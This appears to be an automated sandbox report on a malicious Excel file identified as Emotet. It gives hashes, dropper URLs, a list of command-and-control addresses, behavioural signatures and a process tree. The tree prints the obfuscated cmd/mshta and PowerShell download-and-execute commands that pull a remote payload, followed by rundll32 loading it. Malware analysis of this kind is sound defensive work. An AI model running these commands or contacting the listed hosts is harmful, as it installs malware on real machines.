Analysis

  • max time kernel
    120s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    21/01/2022, 09:54

General

  • Target

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls

  • Size

    71KB

  • MD5

    21fc12ef8a4a4ba5b38a303fa7e70c08

  • SHA1

    5700a2231371b289eae19ce62e1a73457ee582c4

  • SHA256

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

  • SHA512

    8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:620
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:768
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1632
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:776
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1716
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:928
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1748
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wsrdkk\tckxoijjtise.usj",NPTuNCCtWJN
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:316
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wsrdkk\tckxoijjtise.usj",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1100

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/316-89-0x0000000000270000-0x0000000000296000-memory.dmp

    Filesize

    152KB

  • memory/620-56-0x0000000076071000-0x0000000076073000-memory.dmp

    Filesize

    8KB

  • memory/620-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/620-54-0x0000000071DB1000-0x0000000071DB3000-memory.dmp

    Filesize

    8KB

  • memory/620-112-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/620-53-0x000000002F431000-0x000000002F434000-memory.dmp

    Filesize

    12KB

  • memory/776-60-0x0000000002450000-0x000000000309A000-memory.dmp

    Filesize

    12.3MB

  • memory/776-59-0x0000000002450000-0x000000000309A000-memory.dmp

    Filesize

    12.3MB

  • memory/928-67-0x0000000000200000-0x0000000000226000-memory.dmp

    Filesize

    152KB

  • memory/1100-92-0x0000000000250000-0x0000000000276000-memory.dmp

    Filesize

    152KB

  • memory/1100-102-0x0000000002740000-0x0000000002766000-memory.dmp

    Filesize

    152KB

  • memory/1100-110-0x0000000002BC0000-0x0000000002BE6000-memory.dmp

    Filesize

    152KB

  • memory/1100-108-0x0000000002A80000-0x0000000002AA6000-memory.dmp

    Filesize

    152KB

  • memory/1100-106-0x00000000029C0000-0x00000000029E6000-memory.dmp

    Filesize

    152KB

  • memory/1100-100-0x00000000025E0000-0x0000000002606000-memory.dmp

    Filesize

    152KB

  • memory/1100-96-0x0000000001DE0000-0x0000000001E06000-memory.dmp

    Filesize

    152KB

  • memory/1100-94-0x0000000001D80000-0x0000000001DA6000-memory.dmp

    Filesize

    152KB

  • memory/1748-76-0x00000000003C0000-0x00000000003E6000-memory.dmp

    Filesize

    152KB

  • memory/1748-78-0x0000000000420000-0x0000000000446000-memory.dmp

    Filesize

    152KB

  • memory/1748-80-0x0000000002390000-0x00000000023B6000-memory.dmp

    Filesize

    152KB

  • memory/1748-87-0x0000000002920000-0x0000000002946000-memory.dmp

    Filesize

    152KB

  • memory/1748-84-0x00000000028C0000-0x00000000028E6000-memory.dmp

    Filesize

    152KB

  • memory/1748-82-0x0000000002470000-0x0000000002496000-memory.dmp

    Filesize

    152KB

  • memory/1748-74-0x00000000002F0000-0x0000000000316000-memory.dmp

    Filesize

    152KB